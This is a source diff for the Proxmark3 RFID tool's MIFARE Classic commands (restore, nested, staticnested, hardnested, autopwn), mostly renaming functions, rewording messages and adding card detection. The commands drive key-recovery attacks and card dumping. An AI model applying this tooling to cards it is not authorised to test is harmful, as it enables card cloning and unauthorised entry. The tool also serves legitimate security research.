CmdHF14AMfRestore(const char *Cmd) { uint8_t bldata[MFBLOCK_SIZE] = {0x00}; memcpy(bldata, dump, MFBLOCK_SIZE); + bool skip = false; // if sector trailer if (mfIsSectorTrailerBasedOnBlocks(s, b)) { - // keep the current keys on the card if (use_keyfile_for_auth == false) { // replace KEY A @@ -1561,7 +1899,7 @@ static int CmdHF14AMfRestore(const char *Cmd) { // if --force isn't used, skip writing this block if (force == false) { PrintAndLogEx(INFO, "Skipping, use `" _YELLOW_("--force") "` to override and write this data"); - continue; + skip = true; } } } @@ -1571,6 +1909,9 @@ static int CmdHF14AMfRestore(const char *Cmd) { dump += MFBLOCK_SIZE; bytes_read -= MFBLOCK_SIZE; } + if (skip) { + continue; + } uint8_t wdata[26]; memcpy(wdata + 10, bldata, sizeof(bldata)); @@ -1595,7 +1936,7 @@ static int CmdHF14AMfRestore(const char *Cmd) { SendCommandMIX(CMD_HF_MIFARE_WRITEBL, blockno, kt, 0, wdata, sizeof(wdata)); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { - PrintAndLogEx(WARNING, "Command execute timeout"); + PrintAndLogEx(WARNING, "command execution time out"); continue; } @@ -1607,7 +1948,7 @@ static int CmdHF14AMfRestore(const char *Cmd) { } // write somehow failed. Lets determine why. if (isOK == PM3_ETEAROFF) { - PrintAndLogEx(INFO, "Tear off triggerd. Recommendation is not to use tear-off with restore command"); + PrintAndLogEx(INFO, "Tear off triggered. Recommendation is not to use tear-off with restore command"); goto out; } @@ -1626,7 +1967,7 @@ out: free(keyB); PrintAndLogEx(INFO, "-----+-------------------------------------------------+----------------"); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(HINT, "try `" _YELLOW_("hf mf dump --ns") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("hf mf dump --ns") "` to verify"); PrintAndLogEx(INFO, "Done!"); return PM3_SUCCESS; } @@ -1665,7 +2006,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't CLIExecWithReturn(ctx, Cmd, argtable, false); int keylen = 0; - uint8_t key[6] = {0}; + uint8_t key[MIFARE_KEY_SIZE] = {0}; CLIGetHexWithReturn(ctx, 1, key, &keylen); bool m0 = arg_get_lit(ctx, 2); @@ -1684,6 +2025,7 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't } else if (arg_get_lit(ctx, 8)) { keyType = MF_KEY_B; } + uint8_t prev_keytype = keyType; keyType = arg_get_int_def(ctx, 9, keyType); if ((arg_get_lit(ctx, 7) || arg_get_lit(ctx, 8)) && (keyType != prev_keytype)) { @@ -1703,13 +2045,16 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't } else if (arg_get_lit(ctx, 12)) { trgKeyType = MF_KEY_B; } + uint8_t prev_trgkeytype = trgKeyType; trgKeyType = arg_get_int_def(ctx, 13, trgKeyType); + if ((arg_get_lit(ctx, 11) || arg_get_lit(ctx, 12)) && (trgKeyType != prev_trgkeytype)) { CLIParserFree(ctx); PrintAndLogEx(WARNING, "Choose one single target key type"); return PM3_EINVARG; } + bool transferToEml = arg_get_lit(ctx, 14); bool createDumpFile = arg_get_lit(ctx, 15); bool singleSector = trgBlockNo > -1; @@ -1758,16 +2103,16 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't return PM3_EINVARG; } } + if (SectorsCnt == 1) { SectorsCnt = MIFARE_1K_MAXSECTOR; } - if (keylen != 6) { - PrintAndLogEx(WARNING, "Input key must include 12 HEX symbols"); + if (keylen != MIFARE_KEY_SIZE) { + PrintAndLogEx(WARNING, "Input key must include 6 HEX bytes, got %u", keylen); return PM3_EINVARG; } - sector_t *e_sector = NULL; uint8_t keyBlock[(ARRAYLEN(g_mifare_default_keys) + 1) * 6]; uint64_t key64 = 0; @@ -1779,20 +2124,22 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't } // check if we can authenticate to sector - if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { + if (mf_check_keys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { if (keyType < 2) { - PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); + PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block %3d key type %c", blockNo, keyType ? 'B' : 'A'); } else { - PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%02x", blockNo, MIFARE_AUTH_KEYA + keyType); + PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block %3d key type %02x", blockNo, MIFARE_AUTH_KEYA + keyType); } return PM3_EOPABORTED; } if (singleSector) { - int16_t isOK = mfnested(blockNo, keyType, key, trgBlockNo, trgKeyType, keyBlock, !ignore_static_encrypted); + + uint8_t foundkey[MIFARE_KEY_SIZE] = {0}; + int16_t isOK = mf_nested(blockNo, keyType, key, trgBlockNo, trgKeyType, foundkey, !ignore_static_encrypted); switch (isOK) { case PM3_ETIMEOUT: - PrintAndLogEx(ERR, "Command execute timeout\n"); + PrintAndLogEx(ERR, "command execution time out\n"); break; case PM3_EOPABORTED: PrintAndLogEx(WARNING, "Button pressed. Aborted\n"); @@ -1804,10 +2151,10 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't PrintAndLogEx(FAILED, "No valid key found"); break; case PM3_ESTATIC_NONCE: - PrintAndLogEx(ERR, "Error: Static encrypted nonce detected. Aborted\n"); + PrintAndLogEx(ERR, "Static encrypted nonce detected. Aborted\n"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("script run fm11rf08s_recovery.py") "`"); break; - case PM3_SUCCESS: - key64 = bytes_to_num(keyBlock, 6); + case PM3_SUCCESS: { // transfer key to the emulator if (transferToEml) { @@ -1818,32 +2165,43 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't } else { // 16 block sector sectortrailer = trgBlockNo | 0x0f; } - mfEmlGetMem(keyBlock, sectortrailer, 1); - if (trgKeyType == MF_KEY_A) - num_to_bytes(key64, 6, keyBlock); - else - num_to_bytes(key64, 6, &keyBlock[10]); + uint8_t block[MFBLOCK_SIZE] = {0}; + mf_eml_get_mem(block, sectortrailer, 1); - mfEmlSetMem(keyBlock, sectortrailer, 1); - PrintAndLogEx(SUCCESS, "Key transferred to emulator memory."); + if (trgKeyType == MF_KEY_A) { + memcpy(block, foundkey, MIFARE_KEY_SIZE); + } else { + memcpy(block + 10, foundkey, MIFARE_KEY_SIZE); + } + + mf_elm_set_mem(block, sectortrailer, 1); + PrintAndLogEx(SUCCESS, "Key transferred to emulator memory"); } return PM3_SUCCESS; - default : + } + default : { PrintAndLogEx(ERR, "Unknown error\n"); + } } return PM3_SUCCESS; } else { // ------------------------------------ multiple sectors working - uint64_t t1 = msclock(); - e_sector = calloc(SectorsCnt, sizeof(sector_t)); - if (e_sector == NULL) return PM3_EMALLOC; + uint64_t t2; + + sector_t *e_sector = NULL; + if (initSectorTable(&e_sector, SectorsCnt) != PM3_SUCCESS) { + return PM3_EMALLOC; + } // add our known key e_sector[mfSectorNum(blockNo)].foundKey[keyType] = 1; e_sector[mfSectorNum(blockNo)].Key[keyType] = key64; + PrintAndLogEx(SUCCESS, "--- " _CYAN_("Enter dictionary recovery mode") " ---------------"); + PrintAndLogEx(SUCCESS, "Sector count "_YELLOW_("%d"), SectorsCnt); + //test current key and additional standard keys first // add parameter key memcpy(keyBlock + (ARRAYLEN(g_mifare_default_keys) * 6), key, 6); @@ -1852,16 +2210,18 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't num_to_bytes(g_mifare_default_keys[cnt], 6, (uint8_t *)(keyBlock + cnt * 6)); } + uint64_t t1 = msclock(); + PrintAndLogEx(SUCCESS, "Testing known keys. Sector count "_YELLOW_("%d"), SectorsCnt); - int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, use_flashmemory, false); + int res = mf_check_keys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, use_flashmemory, false); if (res == PM3_SUCCESS) { PrintAndLogEx(SUCCESS, "Fast check found all keys"); goto jumptoend; } - uint64_t t2 = msclock() - t1; - PrintAndLogEx(SUCCESS, "Time to check " _YELLOW_("%zu") " known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); - PrintAndLogEx(SUCCESS, "enter nested key recovery"); + t2 = msclock() - t1; + PrintAndLogEx(SUCCESS, "Time in check keys " _YELLOW_("%.0f") " seconds\n", (float)t2 / 1000.0); + PrintAndLogEx(SUCCESS, "--- " _CYAN_("Enter nested key recovery mode") " ---------------"); // nested sectors bool calibrate = !ignore_static_encrypted; @@ -1870,12 +2230,19 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't for (uint8_t sectorNo = 0; sectorNo < SectorsCnt; ++sectorNo) { for (int i = 0; i < MIFARE_SECTOR_RETRY; i++) { - if (e_sector[sectorNo].foundKey[trgKeyType]) continue; + while (kbd_enter_pressed()) { + PrintAndLogEx(WARNING, "\naborted via keyboard!"); + return PM3_EOPABORTED; + } - int16_t isOK = mfnested(blockNo, keyType, key, mfFirstBlockOfSector(sectorNo), trgKeyType, keyBlock, calibrate); + if (e_sector[sectorNo].foundKey[trgKeyType]) { + continue; + } + + int16_t isOK = mf_nested(blockNo, keyType, key, mfFirstBlockOfSector(sectorNo), trgKeyType, keyBlock, calibrate); switch (isOK) { case PM3_ETIMEOUT: - PrintAndLogEx(ERR, "Command execute timeout\n"); + PrintAndLogEx(ERR, "command execution time out\n"); break; case PM3_EOPABORTED: PrintAndLogEx(WARNING, "button pressed. Aborted\n"); @@ -1888,14 +2255,15 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't calibrate = false; continue; case PM3_ESTATIC_NONCE: - PrintAndLogEx(ERR, "Error: Static encrypted nonce detected. Aborted\n"); + PrintAndLogEx(ERR, "Static encrypted nonce detected. Aborted\n"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("script run fm11rf08s_recovery.py") "`"); break; case PM3_SUCCESS: calibrate = false; e_sector[sectorNo].foundKey[trgKeyType] = 1; - e_sector[sectorNo].Key[trgKeyType] = bytes_to_num(keyBlock, 6); + e_sector[sectorNo].Key[trgKeyType] = bytes_to_num(keyBlock, MIFARE_KEY_SIZE); - mfCheckKeys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false, false); + mf_check_keys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false, false); continue; default : PrintAndLogEx(ERR, "Unknown error\n"); @@ -1907,37 +2275,41 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't } t1 = msclock() - t1; - PrintAndLogEx(SUCCESS, "time in nested " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); + PrintAndLogEx(SUCCESS, "Time in nested " _YELLOW_("%.0f") " seconds\n", (float)t1 / 1000.0); // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? - PrintAndLogEx(INFO, "trying to read key B..."); + PrintAndLogEx(INFO, "Trying to read key B..."); for (int i = 0; i < SectorsCnt; i++) { // KEY A but not KEY B if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { uint8_t sectrail = (mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1); - PrintAndLogEx(SUCCESS, "reading block %d", sectrail); + PrintAndLogEx(SUCCESS, "Reading block " _YELLOW_("%d"), sectrail); mf_readblock_t payload; payload.blockno = sectrail; payload.keytype = MF_KEY_A; - num_to_bytes(e_sector[i].Key[0], 6, payload.key); // KEY A + num_to_bytes(e_sector[i].Key[0], MIFARE_KEY_SIZE, payload.key); // KEY A clearCommandBuffer(); SendCommandNG(CMD_HF_MIFARE_READBL, (uint8_t *)&payload, sizeof(mf_readblock_t)); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500)) continue; + if (WaitForResponseTimeout(CMD_HF_MIFARE_READBL, &resp, 1500) == false) { + continue; + } - if (resp.status != PM3_SUCCESS) continue; + if (resp.status != PM3_SUCCESS) { + continue; + } uint8_t *data = resp.data.asBytes; - key64 = bytes_to_num(data + 10, 6); + key64 = bytes_to_num(data + 10, MIFARE_KEY_SIZE); if (key64) { - PrintAndLogEx(SUCCESS, "data: %s", sprint_hex(data + 10, 6)); + PrintAndLogEx(SUCCESS, "data: %s", sprint_hex(data + 10, MIFARE_KEY_SIZE)); e_sector[i].foundKey[1] = true; e_sector[i].Key[1] = key64; } @@ -1946,10 +2318,6 @@ static int CmdHF14AMfNested(const char *Cmd) { //TODO: single mode broken? can't jumptoend: - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, _GREEN_("found keys:")); - - //print them printKeyTable(SectorsCnt, e_sector); // transfer them to the emulator @@ -1957,19 +2325,19 @@ jumptoend: // fast push mode g_conn.block_after_ACK = true; for (int i = 0; i < SectorsCnt; i++) { - mfEmlGetMem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); + mf_eml_get_mem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); if (e_sector[i].foundKey[0]) - num_to_bytes(e_sector[i].Key[0], 6, keyBlock); + num_to_bytes(e_sector[i].Key[0], MIFARE_KEY_SIZE, keyBlock); if (e_sector[i].foundKey[1]) - num_to_bytes(e_sector[i].Key[1], 6, &keyBlock[10]); + num_to_bytes(e_sector[i].Key[1], MIFARE_KEY_SIZE, &keyBlock[10]); if (i == SectorsCnt - 1) { // Disable fast mode on last packet g_conn.block_after_ACK = false; } - mfEmlSetMem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); + mf_elm_set_mem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); } PrintAndLogEx(SUCCESS, "keys transferred to emulator memory."); } @@ -1987,6 +2355,9 @@ jumptoend: } free(e_sector); } + + PrintAndLogEx(INFO, "Done!"); + PrintAndLogEx(NORMAL, ""); return PM3_SUCCESS; } @@ -2081,7 +2452,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { } // check if we can authenticate to sector - if (mfCheckKeys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { + if (mf_check_keys(blockNo, keyType, true, 1, key, &key64) != PM3_SUCCESS) { if (keyType < 2) { PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockNo, keyType ? 'B' : 'A'); } else { @@ -2113,7 +2484,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { } PrintAndLogEx(SUCCESS, "Testing known keys. Sector count "_YELLOW_("%d"), SectorsCnt); - int res = mfCheckKeys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false, false); + int res = mf_check_keys_fast(SectorsCnt, true, true, 1, ARRAYLEN(g_mifare_default_keys) + 1, keyBlock, e_sector, false, false); if (res == PM3_SUCCESS) { // all keys found PrintAndLogEx(SUCCESS, "Fast check found all keys"); @@ -2121,8 +2492,8 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { } uint64_t t2 = msclock() - t1; - PrintAndLogEx(SUCCESS, "Time to check "_YELLOW_("%zu") " known keys: %.0f seconds\n", ARRAYLEN(g_mifare_default_keys), (float)t2 / 1000.0); - PrintAndLogEx(SUCCESS, "enter static nested key recovery"); + PrintAndLogEx(SUCCESS, "Time in check keys " _YELLOW_("%.0f") " seconds\n", (float)t2 / 1000.0); + PrintAndLogEx(SUCCESS, "--- " _CYAN_("Enter static nested key recovery") " --------------"); // nested sectors for (trgKeyType = MF_KEY_A; trgKeyType <= MF_KEY_B; ++trgKeyType) { @@ -2132,10 +2503,10 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { if (e_sector[sectorNo].foundKey[trgKeyType]) continue; - int16_t isOK = mfStaticNested(blockNo, keyType, key, mfFirstBlockOfSector(sectorNo), trgKeyType, keyBlock); + int16_t isOK = mf_static_nested(blockNo, keyType, key, mfFirstBlockOfSector(sectorNo), trgKeyType, keyBlock); switch (isOK) { case PM3_ETIMEOUT : - PrintAndLogEx(ERR, "Command execute timeout"); + PrintAndLogEx(ERR, "command execution time out"); break; case PM3_EOPABORTED : PrintAndLogEx(WARNING, "aborted via keyboard."); @@ -2146,7 +2517,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { e_sector[sectorNo].foundKey[trgKeyType] = 1; e_sector[sectorNo].Key[trgKeyType] = bytes_to_num(keyBlock, 6); - // mfCheckKeys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false, false); + // mf_check_keys_fast(SectorsCnt, true, true, 2, 1, keyBlock, e_sector, false, false); continue; default : PrintAndLogEx(ERR, "unknown error.\n"); @@ -2162,7 +2533,7 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { // 20160116 If Sector A is found, but not Sector B, try just reading it of the tag? - PrintAndLogEx(INFO, "trying to read key B..."); + PrintAndLogEx(INFO, "Trying to read key B..."); for (int i = 0; i < SectorsCnt; i++) { // KEY A but not KEY B if (e_sector[i].foundKey[0] && !e_sector[i].foundKey[1]) { @@ -2199,9 +2570,6 @@ static int CmdHF14AMfNestedStatic(const char *Cmd) { jumptoend: - PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(SUCCESS, _GREEN_("found keys:")); - //print them printKeyTable(SectorsCnt, e_sector); @@ -2210,7 +2578,7 @@ jumptoend: // fast push mode g_conn.block_after_ACK = true; for (int i = 0; i < SectorsCnt; i++) { - mfEmlGetMem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); + mf_eml_get_mem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); if (e_sector[i].foundKey[0]) num_to_bytes(e_sector[i].Key[0], 6, keyBlock); @@ -2222,7 +2590,7 @@ jumptoend: // Disable fast mode on last packet g_conn.block_after_ACK = false; } - mfEmlSetMem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); + mf_elm_set_mem(keyBlock, mfFirstBlockOfSector(i) + mfNumBlocksPerSector(i) - 1, 1); } PrintAndLogEx(SUCCESS, "keys transferred to emulator memory."); } @@ -2382,9 +2750,15 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { SetSIMDInstr(SIMD_NEON); #endif - if (in) + if (in) { SetSIMDInstr(SIMD_NONE); + } + // santiy checks + if ((g_session.pm3_present == false) && (tests == false)) { + PrintAndLogEx(INFO, "No device connected"); + return PM3_EFAILED; + } bool known_target_key = (trg_keylen); @@ -2423,13 +2797,13 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { // check if tag doesn't have static nonce if (detect_classic_static_nonce() == NONCE_STATIC) { PrintAndLogEx(WARNING, "Static nonce detected. Quitting..."); - PrintAndLogEx(HINT, "\tTry use `" _YELLOW_("hf mf staticnested") "`"); + PrintAndLogEx(HINT, "Hint: Try use `" _YELLOW_("hf mf staticnested") "`"); return PM3_EOPABORTED; } uint64_t key64 = 0; // check if we can authenticate to sector - if (mfCheckKeys(blockno, keytype, true, 1, key, &key64) != PM3_SUCCESS) { + if (mf_check_keys(blockno, keytype, true, 1, key, &key64) != PM3_SUCCESS) { if (keytype < 2) { PrintAndLogEx(WARNING, "Wrong key. Can't authenticate to block:%3d key type:%c", blockno, keytype ? 'B' : 'A'); } else { @@ -2440,13 +2814,13 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { } } - PrintAndLogEx(INFO, "Target block no " _YELLOW_("%3d") ", target key type: " _YELLOW_("%c") ", known target key: " _YELLOW_("%02x%02x%02x%02x%02x%02x%s"), + PrintAndLogEx(INFO, "Target block no " _YELLOW_("%3d") " target key type: " _YELLOW_("%c") " known target key: " _YELLOW_("%02x%02x%02x%02x%02x%02x%s"), trg_blockno, (trg_keytype == MF_KEY_B) ? 'B' : 'A', trg_key[0], trg_key[1], trg_key[2], trg_key[3], trg_key[4], trg_key[5], known_target_key ? "" : " (not set)" ); - PrintAndLogEx(INFO, "File action: " _YELLOW_("%s") ", Slow: " _YELLOW_("%s") ", Tests: " _YELLOW_("%d"), + PrintAndLogEx(INFO, "File action: " _YELLOW_("%s") " Slow: " _YELLOW_("%s") " Tests: " _YELLOW_("%d"), nonce_file_write ? "write" : nonce_file_read ? "read" : "none", slow ? "Yes" : "No", tests); @@ -2461,7 +2835,8 @@ static int CmdHF14AMfNestedHard(const char *Cmd) { PrintAndLogEx(WARNING, "Button pressed. Aborted\n"); break; case PM3_ESTATIC_NONCE: - PrintAndLogEx(ERR, "Error: Static encrypted nonce detected. Aborted\n"); + PrintAndLogEx(ERR, "Static encrypted nonce detected. Aborted\n"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("script run fm11rf08s_recovery.py") "`"); break; case PM3_EFAILED: { PrintAndLogEx(FAILED, "\nFailed to recover a key..."); @@ -2483,7 +2858,10 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { CLIParserInit(&ctx, "hf mf autopwn", "This command automates the key recovery process on MIFARE Classic cards.\n" "It uses the fchk, chk, darkside, nested, hardnested and staticnested to recover keys.\n" - "If all keys are found, it try dumping card content both to file and emulator memory.", + "If all keys are found, it try dumping card content both to file and emulator memory.\n" + "\n" + "default file name template is `hf-mf--.`\n" + "using suffix the template becomes `hf-mf---.` \n", "hf mf autopwn\n" "hf mf autopwn -s 0 -a -k FFFFFFFFFFFF --> target MFC 1K card, Sector 0 with known key A 'FFFFFFFFFFFF'\n" "hf mf autopwn --1k -f mfc_default_keys --> target MFC 1K card, default dictionary\n" @@ -2493,14 +2871,16 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { void *argtable[] = { arg_param_begin, - arg_strx0("k", "key", "", "Known key, 12 hex bytes"), - arg_int0("s", "sector", "", "Input sector number"), - arg_lit0("a", NULL, "Input key A (def)"), - arg_lit0("b", NULL, "Input key B"), - arg_str0("f", "file", "", "filename of dictionary"), - arg_lit0(NULL, "slow", "Slower acquisition (required by some non standard cards)"), - arg_lit0("l", "legacy", "legacy mode (use the slow `hf mf chk`)"), - arg_lit0("v", "verbose", "verbose output"), + arg_strx0("k", "key", "", "Known key, 12 hex bytes"), + arg_int0("s", "sector", "", "Input sector number"), + arg_lit0("a", NULL, "Input key A (def)"), + arg_lit0("b", NULL, "Input key B"), + arg_str0("f", "file", "", "filename of dictionary"), + arg_str0(NULL, "suffix", "", "Add this suffix to generated files"), + arg_lit0(NULL, "slow", "Slower acquisition (required by some non standard cards)"), + arg_lit0("l", "legacy", "legacy mode (use the slow `hf mf chk`)"), + arg_lit0("v", "verbose", "verbose output"), + arg_lit0(NULL, "mem", "Use dictionary from flashmemory"), arg_lit0(NULL, "ns", "No save to file"), @@ -2545,29 +2925,34 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { char filename[FILE_PATH_SIZE] = {0}; CLIParamStrToBuf(arg_get_str(ctx, 5), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); - bool slow = arg_get_lit(ctx, 6); - bool legacy_mfchk = arg_get_lit(ctx, 7); - bool verbose = arg_get_lit(ctx, 8); + int outfnlen = 0; + char outfilename[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)outfilename, FILE_PATH_SIZE, &outfnlen); - bool no_save = arg_get_lit(ctx, 9); + bool slow = arg_get_lit(ctx, 7); + bool legacy_mfchk = arg_get_lit(ctx, 8); + bool verbose = arg_get_lit(ctx, 9); + bool use_flashmemory = arg_get_lit(ctx, 10); - bool m0 = arg_get_lit(ctx, 10); - bool m1 = arg_get_lit(ctx, 11); - bool m2 = arg_get_lit(ctx, 12); - bool m4 = arg_get_lit(ctx, 13); + bool no_save = arg_get_lit(ctx, 11); - bool in = arg_get_lit(ctx, 14); + bool m0 = arg_get_lit(ctx, 12); + bool m1 = arg_get_lit(ctx, 13); + bool m2 = arg_get_lit(ctx, 14); + bool m4 = arg_get_lit(ctx, 15); + + bool in = arg_get_lit(ctx, 16); #if defined(COMPILER_HAS_SIMD_X86) - bool im = arg_get_lit(ctx, 15); - bool is = arg_get_lit(ctx, 16); - bool ia = arg_get_lit(ctx, 17); - bool i2 = arg_get_lit(ctx, 18); + bool im = arg_get_lit(ctx, 17); + bool is = arg_get_lit(ctx, 18); + bool ia = arg_get_lit(ctx, 19); + bool i2 = arg_get_lit(ctx, 20); #endif #if defined(COMPILER_HAS_SIMD_AVX512) - bool i5 = arg_get_lit(ctx, 19); + bool i5 = arg_get_lit(ctx, 21); #endif #if defined(COMPILER_HAS_SIMD_NEON) - bool ie = arg_get_lit(ctx, 15); + bool ie = arg_get_lit(ctx, 17); #endif CLIParserFree(ctx); @@ -2649,7 +3034,8 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { // Settings int prng_type = PM3_EUNDEF; int isOK = 0; - // ------------------------------ + + PrintAndLogEx(NORMAL, ""); uint64_t tagT = GetHF14AMfU_Type(); if (tagT != MFU_TT_UL_ERROR) { @@ -2660,10 +3046,11 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { // Select card to get UID/UIDLEN/ATQA/SAK information clearCommandBuffer(); - SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT, 0, 0, NULL, 0); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_ACK, &resp, 1500) == false) { PrintAndLogEx(DEBUG, "iso14443a card select timeout"); + DropField(); return PM3_ETIMEOUT; } @@ -2679,6 +3066,64 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { iso14a_card_select_t card; memcpy(&card, (iso14a_card_select_t *)resp.data.asBytes, sizeof(iso14a_card_select_t)); + // try to request ATS even if tag claims not to support it. If yes => 4 + if (select_status == 2) { + uint8_t rats[] = { 0xE0, 0x80 }; // FSDI=8 (FSD=256), CID=0 + clearCommandBuffer(); + SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_RAW | ISO14A_APPEND_CRC | ISO14A_NO_DISCONNECT, 2, 0, rats, sizeof(rats)); + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + memcpy(card.ats, resp.data.asBytes, resp.oldarg[0]); + card.ats_len = resp.oldarg[0]; // note: ats_len includes CRC Bytes + if (card.ats_len > 3) { + select_status = 4; + } + } + + uint8_t ats_hist_pos = 0; + if ((card.ats_len > 3) && (card.ats[0] > 1)) { + ats_hist_pos = 2; + ats_hist_pos += (card.ats[1] & 0x10) == 0x10; + ats_hist_pos += (card.ats[1] & 0x20) == 0x20; + ats_hist_pos += (card.ats[1] & 0x40) == 0x40; + } + + version_hw_t version_hw = {0}; + // if 4b UID or NXP, try to get version + int res = hf14a_getversion_data(&card, select_status, &version_hw); + DropField(); + + bool version_hw_available = (res == PM3_SUCCESS); + + int nxptype = detect_nxp_card(card.sak + , ((card.atqa[1] << 8) + card.atqa[0]) + , select_status + , card.ats_len - ats_hist_pos + , card.ats + ats_hist_pos + , version_hw_available + , &version_hw + ); + + if ((nxptype & MTDESFIRE) == MTDESFIRE) { + PrintAndLogEx(WARNING, "MIFARE DESFire card detected. Quitting..."); + return PM3_ESOFT; + } + + bool isMifareMini = ((nxptype & MTMINI) == MTMINI); + bool isMifarePlus = ((nxptype & MTPLUS) == MTPLUS); + + if (isMifarePlus) { + PrintAndLogEx(INFO, "MIFARE Plus card detected. Using limited set of attacks"); + } + + if (isMifareMini && sector_cnt != MIFARE_MINI_MAXSECTOR) { + PrintAndLogEx(WARNING, "MIFARE Mini S20 card detected. Changing sector count to %u", MIFARE_MINI_MAXSECTOR); + sector_cnt = MIFARE_MINI_MAXSECTOR; + } + bool known_key = (in_keys_len > 5); uint8_t key[MIFARE_KEY_SIZE] = {0}; if (known_key) { @@ -2713,6 +3158,22 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { if (is_ev1) { // hidden sectors on MFC EV1 sector_cnt += 2; + + // bandaid fix + block_cnt += 8; + } + + // check if we can authenticate to sector + uint8_t loopupblk = mfFirstBlockOfSector(sectorno); + if (mf_check_keys(loopupblk, keytype, true, (in_keys_len / MIFARE_KEY_SIZE), in_keys, &key64) != PM3_SUCCESS) { + if (keytype < 2) { + PrintAndLogEx(WARNING, "Known key failed. Can't authenticate to block %3d key type %c", loopupblk, keytype ? 'B' : 'A'); + } else { + PrintAndLogEx(WARNING, "Known key failed. Can't authenticate to block %3d key type %02x", loopupblk, MIFARE_AUTH_KEYA + keytype); + } + known_key = false; + } else { + num_to_bytes(key64, MIFARE_KEY_SIZE, key); } // create/initialize key storage structure @@ -2735,62 +3196,96 @@ static int CmdHF14AMfAutoPWN(const char *Cmd) { } // read uid to generate a filename for the key file - char *fptr = GenerateFilename("hf-mf-", "-key.bin"); + char suffix[FILE_PATH_SIZE + strlen(outfilename)]; + if (outfnlen) { + snprintf(suffix, sizeof(suffix) - strlen(outfilename), "-key-%s.bin", outfilename); + } else { + snprintf(suffix, sizeof(suffix), "-key.bin"); + } + char *fptr = GenerateFilename("hf-mf-", suffix); // check if tag doesn't have static nonce int has_staticnonce = detect_classic_static_nonce(); // card prng type (weak=1 / hard=0 / select/card comm error = negative value) if (has_staticnonce == NONCE_NORMAL) { + prng_type = detect_classic_prng(); + if (prng_type < 0) { 